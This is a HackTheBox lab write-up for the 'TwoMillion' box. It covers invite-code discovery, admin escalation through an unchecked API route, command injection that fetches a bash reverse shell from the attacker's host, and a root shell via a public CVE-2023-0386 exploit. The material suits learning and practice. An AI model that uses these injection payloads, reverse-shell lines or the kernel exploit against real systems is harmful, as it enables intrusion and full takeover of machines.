TwoMillion — HackTheBox Writeup¶
Difficulty: Easy | OS: Linux | Date: 29 Apr 2026
Attack chain¶
JS deobfuscation → invite code → API enumeration → admin escalation → command injection → RCE → db creds → CVE-2023-0386 → root
Recon¶
Add the target to /etc/hosts first. Without this, nmap reports "Did not follow redirect to http://2million.htb/" and curl returns 301. The server uses virtual host routing — it only serves content when the hostname matches, not the raw IP.
Two ports open: 22 (SSH) and 80 (nginx). The PHPSESSID httponly flag is not set — noted but not the attack vector. No credentials for SSH yet, ignore it.
Invite code¶
Browse to http://2million.htb. Login page asks for email/password. Brute forcing credentials is not the path — always browse the whole site before attacking a login form.
Gobuster and manual browsing reveal /invite. The page loads a minified JS file: inviteapi.min.js — obfuscated with a packer.
The packed JS decodes to reveal two functions and an endpoint: /api/v1/invite/how/to/generate
POST to the generation hint endpoint:
Response contains a ROT13-encoded string. Decode it to get the actual invite generation endpoint:
echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
POST to /api/v1/invite/generate — returns a base64-encoded invite code:
curl -X POST http://2million.htb/api/v1/invite/generate
echo "UVI4VkQtNzRBSEItSTYxSkotOUZZR1c=" | base64 -d
Use the decoded code to register an account.
API enumeration and admin escalation¶
Log in, grab the PHPSESSID cookie from the browser, enumerate the authenticated API:
API exposes user and admin endpoints including /admin/settings/update and /admin/vpn/generate.
Escalate own account to admin — no server-side authorisation check on this route:
curl -X PUT -b "PHPSESSID=<cookie>" \
-H "Content-Type: application/json" \
-d '{"email":"alex@mail.com","is_admin":1}' \
http://2million.htb/api/v1/admin/settings/update
Note: the JSON must be well-formed. A malformed email value causes a "missing email" error that looks like a logic error but is just bad JSON.
RCE via command injection¶
The VPN generate endpoint passes the username parameter directly into a shell command without sanitisation:
Whatever you inject into username gets executed by the server's bash.
Direct injection via curl fails on macOS because zsh intercepts $() and >& locally before the payload reaches the server. Fix: write the payload to a file so zsh never touches it.
# On your machine
echo 'bash -i >& /dev/tcp/10.10.14.91/4444 0>&1' > shell.sh
python3 -m http.server 8080
echo '{"username":"$(curl http://10.10.14.91:8080/shell.sh|bash)"}' > payload.json
$()in the payload file is sent as a raw string by curl. The server receives it, evaluates it, fetches shell.sh from your python server, and pipes it into bash. bash then opens a TCP connection back to your netcat listener.
Start the listener, then send the payload:
# Terminal 1
nc -l 4444
# Terminal 2
curl -b "PHPSESSID=<cookie>" -H "Content-Type: application/json" \
-X POST -d @payload.json \
http://2million.htb/api/v1/admin/vpn/generate
Reverse shell connects as www-data.
User flag¶
www-data cannot read /home/admin/user.txt. Find credentials in the web app config:
Database credentials exposed in plaintext. Reuse them to switch to admin — password reuse between DB and system account is the vulnerability here, common in real environments.
Privilege escalation — CVE-2023-0386 (OverlayFS)¶
Admin has mail referencing a kernel CVE in OverlayFS/FUSE:
CVE-2023-0386: OverlayFS doesn't correctly check permissions when copying files between user namespaces. An attacker can create a root-owned setuid binary in their own namespace and copy it to /tmp. The kernel copies it without stripping the setuid bit, giving you a binary that executes as root.
The box has no internet access. Clone the exploit on your machine, zip it, serve it, pull it onto the box:
# On your machine
git clone https://github.com/xkaneiki/CVE-2023-0386
zip -r exploit.zip CVE-2023-0386
# On the box
cd /tmp && curl http://10.10.14.91:8080/exploit.zip -o exploit.zip && unzip exploit.zip
cd /tmp/CVE-2023-0386 && make
make produces warnings but compiles successfully. The exploit requires two processes running simultaneously — run fuse in background, then immediately execute exp:
Root shell obtained.
Lessons¶
- Always enumerate before attacking. Recon is the attack.
- On macOS, shell metacharacters in curl payloads get interpreted locally by zsh — write payloads to files instead.
- Check
/var/mailand config files like.envfor credentials before reaching for heavy privilege escalation tools. - The hint for the kernel CVE was in the admin's inbox — read everything once you have access.